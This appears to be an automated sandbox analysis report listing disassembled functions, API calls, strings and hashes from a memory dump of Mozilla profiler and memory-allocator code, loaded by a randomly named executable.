MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A5E79, 6C6A5E8F
expected a Time entry, xrefs: 6C6A5CB6
expected a Count entry, xrefs: 6C6A5AC3
schema, xrefs: 6C6A606D
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
data, xrefs: 6C6A6131

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66789F
Dml, xrefs: 6C66787F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

set , xrefs: 6C6A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
get , xrefs: 6C6A3205

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C697ECF, 6C698335
(pre-xul), xrefs: 6C697E88
schema, xrefs: 6C6981E3, 6C698311
vml, xrefs: 6C698207
data, xrefs: 6C698280, 6C6983E1

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_CRASH(), xrefs: 6C677BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
schema, xrefs: 6C6A48C1
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
-%llu, xrefs: 6C6A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF
ml, xrefs: 6C6A4F88
data, xrefs: 6C6A49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

### ERROR: %s: %s, xrefs: 6C6B7087
(null), xrefs: 6C6B706A, 6C6B7083

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

expected a Time entry, xrefs: 6C6A2E36
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C65BEF0 Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Strings

MMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.e, xrefs: 6C65C338, 6C65C33E, 6C65C34D, 6C65C35D, 6C65C362

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
